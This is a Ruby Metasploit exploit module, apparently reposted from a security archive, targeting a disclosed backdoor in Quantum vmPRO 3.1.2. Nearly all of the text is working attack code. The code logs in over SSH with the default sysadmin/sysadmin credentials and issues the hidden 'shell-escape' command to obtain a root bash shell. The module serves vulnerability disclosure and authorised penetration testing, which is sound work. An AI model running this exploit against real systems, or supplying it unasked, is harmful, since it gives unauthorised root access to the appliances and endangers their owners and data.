Quantum vmPRO Backdoor Command

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'net/ssh'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Auxiliary::CommandShell  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Quantum vmPRO Backdoor Command",  
'Description' => %q{  
This module abuses a backdoor command in vmPRO 3.1.2. Any user, even without admin  
privileges, can get access to the restricted SSH shell. By using the hidden backdoor  
"shell-escape" command it's possible to drop to a real root bash shell.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'xistence <xistence[at]0x90.nl>' # Original discovery and Metasploit module  
],  
'References' =>  
[  
['URL', 'http://packetstormsecurity.com/files/125760/quantumvmpro-backdoor.txt']  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['Quantum vmPRO 3.1.2', {}],  
],  
'Privileged' => true,  
'DisclosureDate' => "Mar 17 2014",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RHOST(),  
Opt::RPORT(22),  
OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']),  
OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin'])  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
  
def rhost  
datastore['RHOST']  
end  
  
  
def rport  
datastore['RPORT']  
end  
  
  
def do_login(user, pass)  
opts = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:msframework => framework,  
:msfmodule => self,  
:port => rport,  
:disable_agent => true,  
:config => true,  
:password => pass,  
:record_auth_info => true,  
:proxies => datastore['Proxies']  
}  
  
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(rhost, user, opts)  
end  
rescue Rex::ConnectionError, Rex::AddressInUse  
return nil  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"  
return nil  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return nil  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:#{rport} SSH - Failed authentication"  
return nil  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"  
return nil  
end  
  
if ssh  
conn = Net::SSH::CommandStream.new(ssh, 'shell-escape', true)  
return conn  
end  
  
return nil  
end  
  
  
def exploit  
user = datastore['USER']  
pass = datastore['PASS']  
  
print_status("#{rhost}:#{rport} - Attempt to login...")  
conn = do_login(user, pass)  
if conn  
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")  
handler(conn.lsock)  
end  
end  
end  
`